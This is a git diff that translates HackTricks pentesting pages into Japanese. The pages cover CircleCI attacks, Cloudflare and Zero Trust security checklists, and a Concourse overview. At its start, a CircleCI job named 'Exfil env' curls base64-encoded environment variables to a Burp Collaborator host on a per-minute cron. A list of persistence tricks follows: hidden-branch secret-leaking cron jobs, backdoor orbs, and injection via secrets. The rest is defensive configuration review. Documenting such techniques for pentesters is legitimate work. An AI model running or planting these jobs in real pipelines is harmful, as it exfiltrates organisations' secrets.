- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> 新しい `.circleci/config.yml` をリポジトリに作成するだけでは **circleci ビルドをトリガーするには不十分です**。**circleci コンソールでプロジェクトとして有効にする必要があります**。
-#### Escape to Cloud
+#### クラウドへのエスケープ
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** は **ビルドを自分のマシンまたは彼らのマシンで実行するオプションを提供します**。\
+デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン(潜在的にはクラウド環境)でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。
+前の例ではすべてが docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**(異なるクラウド権限を持つ可能性があります):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+リモートのdockerサービスにアクセスできるdockerコンテナでも:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
-
#### Persistence
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- CircleCIで**ユーザートークンを作成**して、ユーザーのアクセスでAPIエンドポイントにアクセスすることが可能です。
+- _https://app.circleci.com/settings/user/tokens_
+- **プロジェクトトークンを作成**して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- プロジェクトに**SSHキーを追加**することが可能です。
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- 予期しないプロジェクトの**隠れたブランチにcronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。
+- あるいは、ブランチで作成したり、既知のジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることもできます。
+- GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。
+- 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..af7d3ff11 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Cloudflareアカウントには、設定可能な**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
## Websites
-Review each with:
+各項目を確認してください:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] **`Transfer Domains`**で、ドメインを転送できないことを確認します。
-Review each with:
+各項目を確認してください:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +26,39 @@ cloudflare-domains.md
## Analytics
-_I couldn't find anything to check for a config security review._
+_設定のセキュリティレビューのために確認できるものは見つかりませんでした。_
## Pages
-On each Cloudflare's page:
+各Cloudflareのページで:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] **`Build log`**に**機密情報**がないか確認します。
+- [ ] ページに割り当てられた**Githubリポジトリ**に**機密情報**がないか確認します。
+- [ ] **workflow command injection**または`pull_request_target`の侵害による潜在的なgithubリポジトリの侵害を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。
+- [ ] `/fuctions`ディレクトリ内の**脆弱な関数**を確認し(あれば)、`_redirects`ファイル内の**リダイレクト**(あれば)と`_headers`ファイル内の**誤設定されたヘッダー**(あれば)を確認します。
+- [ ] **コードにアクセス**できる場合、**blackbox**または**whitebox**を通じて**ウェブページ**の**脆弱性**を確認します。
+- [ ] 各ページの詳細`//pages/view/blocklist/settings/functions`で、**`Environment variables`**に**機密情報**がないか確認します。
+- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないか確認します。
## **Workers**
-On each Cloudflare's worker check:
+各Cloudflareのワーカーで確認します:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] トリガー:ワーカーをトリガーするのは何ですか?**ユーザーがデータを送信**して、ワーカーで**使用される**可能性はありますか?
+- [ ] **`Settings`**で、**機密情報**を含む**`Variables`**を確認します。
+- [ ] **ワーカーのコード**を確認し、**脆弱性**を探します(特にユーザーが入力を管理できる場所で)。
+- 指定されたページを返すSSRFを確認します。
+- svg画像内でJSを実行するXSSを確認します。
+- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーは入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持っているか、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> デフォルトでは、**WorkerにはURL**が与えられます。例:`..workers.dev`。ユーザーは**サブドメイン**に設定できますが、知っていればその**元のURL**で常にアクセスできます。
## R2
-On each R2 bucket check:
+各R2バケットで確認します:
-- [ ] Configure **CORS Policy**.
+- [ ] **CORSポリシー**を設定します。
## Stream
@@ -70,8 +70,8 @@ TODO
## Security Center
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] 可能であれば、**`Security Insights`**スキャンと**`Infrastructure`**スキャンを実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。
+- [ ] セキュリティの誤設定や興味深い情報について**この情報**を確認してください。
## Turnstile
@@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしません**。ただし、URLのマッチング動作や実行時の動作に影響を与えるURLリダイレクトパラメータを設定できます。
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] **リダイレクトのための**`expressions`**と**`requirements`**が**意味をなしているか確認します。
+- [ ] **機密の隠されたエンドポイント**に興味深い情報が含まれていないかも確認します。
## Notifications
-- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] **通知**を確認します。これらの通知はセキュリティのために推奨されます:
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] すべての**宛先**を確認してください。Webhook URLに**機密情報**(基本的なhttp認証)が含まれている可能性があります。また、Webhook URLが**HTTPS**を使用していることを確認してください。
+- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何らかの方法で**危険なものを注入**できるかもしれません。
## Manage Account
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] **`Billing` -> `Payment info`**で、**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。
+- [ ] **`Billing` -> `Subscriptions`**で、アカウントで使用されている**プランタイプ**を見ることができます。
+- [ ] **`Members`**で、アカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割(AdministratorとSuper Administrator)のみが存在します。しかし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。
+- したがって、可能な限り**Enterpriseプラン**を使用することが**推奨**されます。
+- [ ] メンバーで**2FAが有効**になっている**メンバー**を確認できます。**すべての**ユーザーは有効にするべきです。
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> 幸いなことに、役割**`Administrator`**はメンバーシップを管理する権限を与えません(**権限を昇格させたり、新しいメンバーを招待したりできません**)。
## DDoS Investigation
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[この部分を確認してください](cloudflare-domains.md#cloudflare-ddos-protection)。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..c1e348e92 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,127 +2,127 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Cloudflareに設定された各TLDには、いくつかの**一般設定とサービス**が構成できます。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
-### Overview
+### 概要
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] アカウントのサービスが**どれだけ**使用されているかを把握する
+- [ ] **ゾーンID**と**アカウントID**も確認する
-### Analytics
+### 分析
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] **`Security`**で**レート制限**があるか確認する
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] DNS **レコード**に**興味深い**(機密?)データがあるか確認する
+- [ ] **名前**に基づいて**機密情報**を含む可能性のある**サブドメイン**を確認する(例:admin173865324.domin.com)
+- [ ] **プロキシされていない**ウェブページを確認する
+- [ ] CNAMEまたはIPアドレスで**直接アクセス可能な**プロキシ化されたウェブページを確認する
+- [ ] **DNSSEC**が**有効**であることを確認する
+- [ ] **すべてのCNAMEでCNAMEフラッティングが使用されている**ことを確認する
+- これは**サブドメインの乗っ取り脆弱性を隠す**のに役立ち、読み込み時間を改善します
+- [ ] ドメインが[**スプーフィングに対して脆弱でない**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)ことを確認する
-### **Email**
+### **メール**
TODO
-### Spectrum
+### スペクトラム
TODO
### SSL/TLS
-#### **Overview**
+#### **概要**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] **SSL/TLS暗号化**は**フル**または**フル(厳格)**であるべきです。他の設定では、いずれかの時点で**平文トラフィック**が送信されます。
+- [ ] **SSL/TLS推奨設定**が有効であるべきです
-#### Edge Certificates
+#### エッジ証明書
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **常にHTTPSを使用**が**有効**であるべきです
+- [ ] **HTTP厳格トランスポートセキュリティ(HSTS)**が**有効**であるべきです
+- [ ] **最小TLSバージョンは1.2であるべきです**
+- [ ] **TLS 1.3が有効**であるべきです
+- [ ] **自動HTTPS書き換え**が**有効**であるべきです
+- [ ] **証明書透明性モニタリング**が**有効**であるべきです
-### **Security**
+### **セキュリティ**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されている**か確認することが重要です。
+- **`バイパス`**アクションは、リクエストに対して**Cloudflareのセキュリティ**機能を**無効**にします。使用すべきではありません。
+- [ ] **`ページシールド`**セクションでは、ページが使用されている場合は**有効**であることを確認することをお勧めします
+- [ ] **`APIシールド`**セクションでは、CloudflareでAPIが公開されている場合は**有効**であることを確認することをお勧めします
+- [ ] **`DDoS`**セクションでは、**DDoS保護を有効**にすることをお勧めします
+- [ ] **`設定`**セクションでは:
+- [ ] **`セキュリティレベル`**が**中**以上であることを確認する
+- [ ] **`チャレンジパッセージ`**が最大1時間であることを確認する
+- [ ] **`ブラウザ整合性チェック`**が**有効**であることを確認する
+- [ ] **`プライバシーパスサポート`**が**有効**であることを確認する
-#### **CloudFlare DDoS Protection**
+#### **CloudFlare DDoS保護**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- 可能であれば、**ボットファイトモード**または**スーパーボットファイトモード**を有効にしてください。プログラム的にアクセスされるAPIを保護している場合(例えば、JSフロントエンドページから)。そのアクセスを壊さずにこれを有効にできないかもしれません。
+- **WAF**では、**URLパスによるレート制限**を作成したり、**確認済みボット**に対して(レート制限ルール)、または**IP、クッキー、リファラー**に基づいて**アクセスをブロック**することができます。したがって、ウェブページから来ないリクエストやクッキーを持たないリクエストをブロックできます。
+- 攻撃が**確認済みボット**からの場合、少なくとも**ボットにレート制限を追加**してください。
+- 攻撃が**特定のパス**に対するものであれば、予防策としてそのパスに**レート制限を追加**してください。
+- **ツール**からIPアドレス、IP範囲、国、またはASNを**ホワイトリスト**に追加することもできます。
+- **管理ルール**が脆弱性の悪用を防ぐのに役立つか確認してください。
+- **ツール**セクションでは、特定のIPや**ユーザーエージェント**に対して**ブロックまたはチャレンジを与える**ことができます。
+- DDoSでは、**ルールをオーバーライドしてより制限的にする**ことができます。
+- **設定**:**セキュリティレベル**を**高**に設定し、**攻撃中**の場合は**攻撃中**に設定し、**ブラウザ整合性チェックが有効**であることを確認してください。
+- Cloudflare Domains -> Analytics -> Security -> **レート制限**が有効か確認する
+- Cloudflare Domains -> Security -> Events -> **検出された悪意のあるイベント**を確認する
-### Access
+### アクセス
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-### Speed
+### スピード
-_I couldn't find any option related to security_
+_セキュリティに関連するオプションは見つかりませんでした_
-### Caching
+### キャッシング
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] **`設定`**セクションで**CSAMスキャンツール**を有効にすることを検討してください
-### **Workers Routes**
+### **ワーカーズルート**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_すでに_ [_cloudflare workers_](./#workers) _を確認しているはずです_
-### Rules
+### ルール
TODO
-### Network
+### ネットワーク
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] **`HTTP/2`**が**有効**であれば、**`HTTP/2 to Origin`**も**有効**であるべきです
+- [ ] **`HTTP/3 (with QUIC)`**が**有効**であるべきです
+- [ ] **ユーザー**の**プライバシー**が重要であれば、**`オニオンルーティング`**が**有効**であることを確認してください
-### **Traffic**
+### **トラフィック**
TODO
-### Custom Pages
+### カスタムページ
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- [ ] セキュリティに関連するエラーが発生した場合(ブロック、レート制限、または攻撃中モードなど)にカスタムページを設定することはオプションです
-### Apps
+### アプリ
TODO
-### Scrape Shield
+### スクレイプシールド
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] **メールアドレスの難読化**が**有効**であることを確認する
+- [ ] **サーバーサイド除外**が**有効**であることを確認する
-### **Zaraz**
+### **ザラズ**
TODO
@@ -131,7 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..c0795a1ac 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+**Cloudflare Zero Trust Network** アカウントには、いくつかの **設定とサービス** が構成可能です。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。
### Analytics
-- [ ] Useful to **get to know the environment**
+- [ ] 環境を **理解するために役立つ**
### **Gateway**
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- - If used, **policies** could be created to **restrict** the access to malicious sites.
- - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] **`Policies`** では、アプリケーションにアクセスできるユーザーを **DNS**、**ネットワーク**、または **HTTP** リクエストによって **制限** するポリシーを生成できます。
+- 使用されている場合、**ポリシー**を作成して悪意のあるサイトへのアクセスを **制限** できます。
+- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的なポリシーを作成する理由はありません。
### Access
#### Applications
-On each application:
+各アプリケーションについて:
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
-- [ ] In **`Settings`**:
- - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] **誰**がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ**がアプリケーションにアクセスできることを確認します。
+- アクセスを許可するために **`Access Groups`** が使用されます(**追加ルール**も設定可能です)。
+- [ ] **利用可能なアイデンティティプロバイダー**を確認し、**あまりオープンでないこと**を確認します。
+- [ ] **`Settings`** で:
+- [ ] **CORSが有効でないこと**を確認します(有効な場合は、**安全であり、すべてを許可していないこと**を確認します)。
+- [ ] クッキーには **Strict Same-Site** 属性、**HTTP Only** が必要で、アプリケーションがHTTPの場合は **binding cookie** を **有効** にする必要があります。
+- [ ] より良い **保護のためにブラウザレンダリング** を有効にすることも検討してください。詳細は [**リモートブラウザアイソレーションについてこちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。**
#### **Access Groups**
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- [ ] 生成されたアクセスグループが **正しく制限** されていることを確認します。
+- [ ] **デフォルトのアクセスグループがあまりオープンでないこと**を特に確認することが重要です(**多くの人を許可していないこと**)。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。
+- **EVERYONE** に **アクセス** を与えることや、100% 必要でない限り推奨されない **非常にオープンなポリシー** を設定することが可能であることに注意してください。
#### Service Auth
-- [ ] Check that all service tokens **expires in 1 year or less**
+- [ ] すべてのサービストークンが **1年以内に期限切れ** になることを確認します。
#### Tunnels
@@ -50,16 +50,12 @@ TODO
### Logs
-- [ ] You could search for **unexpected actions** from users
+- [ ] ユーザーからの **予期しないアクション** を検索できます。
### Settings
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+- [ ] **プランタイプ**を確認します。
+- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます。
+- 実際にこのサービスを使用していないユーザーを削除するために、**ユーザーシートの有効期限を追加** することをお勧めします。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..4949d59d1 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourseは、必要に応じて(時間ベース、何かが発生したときなど)テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**することを可能にします。
-## Concourse Architecture
+## Concourseアーキテクチャ
-Learn how the concourse environment is structured in:
+Concourse環境がどのように構成されているかを学ぶには:
{{#ref}}
concourse-architecture.md
{{#endref}}
-## Concourse Lab
+## Concourseラボ
-Learn how you can run a concourse environment locally to do your own tests in:
+自分のテストを行うために、ローカルでConcourse環境を実行する方法を学ぶには:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Enumerate & Attack Concourse
+## Concourseの列挙と攻撃
-Learn how you can enumerate the concourse environment and abuse it in:
+Concourse環境を列挙し、それを悪用する方法を学ぶには:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..1a6317272 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -4,39 +4,35 @@
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Concourse ドキュメントからの関連データ:**](https://concourse-ci.org/internals.html)
### Architecture
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: ウェブ UI & ビルドスケジューラ
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
